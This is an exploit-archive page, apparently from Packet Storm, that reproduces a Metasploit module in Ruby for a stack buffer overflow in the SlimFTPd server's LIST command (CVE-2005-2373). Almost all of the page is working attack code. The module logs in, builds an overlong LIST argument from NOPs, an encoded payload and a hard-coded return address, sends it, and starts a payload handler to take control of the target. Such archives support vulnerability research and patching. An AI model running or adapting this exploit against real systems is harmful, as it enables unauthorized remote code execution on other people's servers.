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packetstormRiafPACKETSTORM:82997
HistoryNov 26, 2009 - 12:00 a.m.

SlimFTPd LIST Concatenation Overflow

2009-11-2600:00:00
riaf
packetstormsecurity.com
15

EPSS

0.078

Percentile

94.3%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SlimFTPd LIST Concatenation Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the SlimFTPd  
server. The flaw is triggered when a LIST command is  
received with an overly-long argument. This vulnerability  
affects all versions of SlimFTPd prior to 3.16 and was  
discovered by Raphael Rigo.  
  
},  
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-2373'],  
[ 'OSVDB', '18172'],  
[ 'BID', '14339'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 490,  
'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",  
'StackAdjustment' => -3500,  
  
},  
'Targets' =>   
[  
[  
'SlimFTPd Server <= 3.16 Universal',  
{  
'Platform' => 'win',  
'Ret' => 0x0040057d,  
},  
],  
],  
'DisclosureDate' => 'Jul 21 2005',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
buf = make_nops(511)  
buf[10, payload.encoded.length] = payload.encoded  
buf[507, 4] = [ target.ret ].pack('V')  
  
send_cmd( ['XMKD', '41414141'], true );  
send_cmd( ['CWD', '41414141'], true );  
send_cmd( ['LIST', buf], false )  
  
handler  
disconnect  
end  
  
end  
`

EPSS

0.078

Percentile

94.3%